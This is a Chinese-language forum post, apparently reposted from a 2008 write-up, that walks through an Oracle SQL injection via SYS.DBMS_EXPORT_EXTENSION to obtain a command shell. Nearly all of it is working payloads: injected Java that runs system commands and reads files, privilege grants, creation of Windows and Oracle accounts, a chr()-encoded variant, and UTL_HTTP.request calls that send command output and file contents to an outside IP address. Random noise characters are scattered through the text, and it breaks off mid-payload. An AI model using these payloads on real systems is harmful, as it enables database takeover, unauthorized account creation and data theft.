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标题: 实例演示oracle注入获取cmdshell的全过程 [打印本页]

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作者: admin    时间: 2012-12-18 12:21
标题: 实例演示oracle注入获取cmdshell的全过程
以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
+ l+ j/ i' r" j( c的形式即可。(用" 'a'|| "是为了让语句返回true值)
  ]+ K4 J' i; U+ Y- S6 i0 ?% N. c) r语句有点长，可能要用post提交。
- M, u' C8 l7 k  X以下是各个步骤：
- |1 {, ]/ m! p) q2 B1.创建包
, {/ Q" ]$ ^' O8 _; n通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
" {9 P+ K% ]* L/ p; j) ~  L/ N1 aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
. I: L, y+ m% D" u% ~) S}'''';END;'';END;--','SYS',0,'1',0) from dual
)
. D1 M3 W! V0 D( h% _------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
1 J2 g4 u7 Z% _. _, o4 \9 B: F9 T/xxx.jsp?id=1 and '1'<>'a'||(
5 G2 S: x1 _. J- z" Z. ?2 j2 L4 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
. v! M+ o" U/ Z: \- W& l}'''';END;'';END;--','SYS',0,'1',0) from dual
" F& e- R( `3 Z)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
  H; U1 u% e2 W- C$ z* S2 f------------------------------
) K! R) L) h+ `* k  E* o2.赋Java权限
. _9 O, _, u. H1 P8 X3 \3 d5 aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 z! t( m" o+ K4 M" S" xcreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
7 I4 ~' w, x1 K4.赋public执行函数的权限
6 w" g6 V0 A( X* Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5 A) S5 j2 Y8 g7 o5.测试上面的几步是否成功
and '1'<>'11'||(
- Z- P5 R& b7 O4 s) N& tselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
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# _! O7 T: D/ Z; O! Sselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.执行命令：
) I4 W1 Q* ]3 s6 h/xxx.jsp?id=1 and '1'<>(
! X) @" P( H& Y+ d0 c( Y+ R' d6 w  s  ^select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

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/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
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8 g; a4 }/ e* l9 P; W6 l注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
6 c- Y2 y( o6 A! Z) S' O( x如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
4 P2 R( j" O2 E或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
; X3 I1 h4 g: ^9 I* o- C)
$ F+ U$ H4 l% a& @9 c  K/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
1 r, D# P& |$ D# n( f5 @6 F; J  A7 ?--------------------
6.内部变化
8 v, Y* l+ e" j4 {: y通过以下命令可以查看all_objects表达改变：
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" l1 K. S3 |) l, V4 Udrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
% h$ S; A# g, a7 a* d# }3 q====================================================
0 [; G2 \. n; n+ v8 H全文结束。谨以此文赠与我的朋友。
linx
! ?" \. u/ H; O- _+ G8 g1 u; I; Y124829445
2008.1.12
linyujian@bjfu.edu.cn
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测试漏洞的另一方法：
创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 I: T! H9 Z; |; d( z/ }CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
* r+ P& C. ^4 c2 X4 n即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
( J7 s  n* t; g# F: U确定漏洞存在：
1<>(
select user_id from all_users where username='LINXSQL'
; g4 n- z& h' G5 T% N3 B4 ]7 E, P)
给linxsql连接权限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
删除帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  b& ~/ S# g- }7 v  S3 t* u: V6 r2 P- L' odrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
8 I) u! {5 [+ ^! h% C6 Y======================
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
8 f7 L( d1 @* I6 k1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; M1 Q, q* ^4 a& m5 p+ y. W4 ]& Ccreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
% o- m4 M2 Y7 F( n1 }1 n) H( m) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
　)
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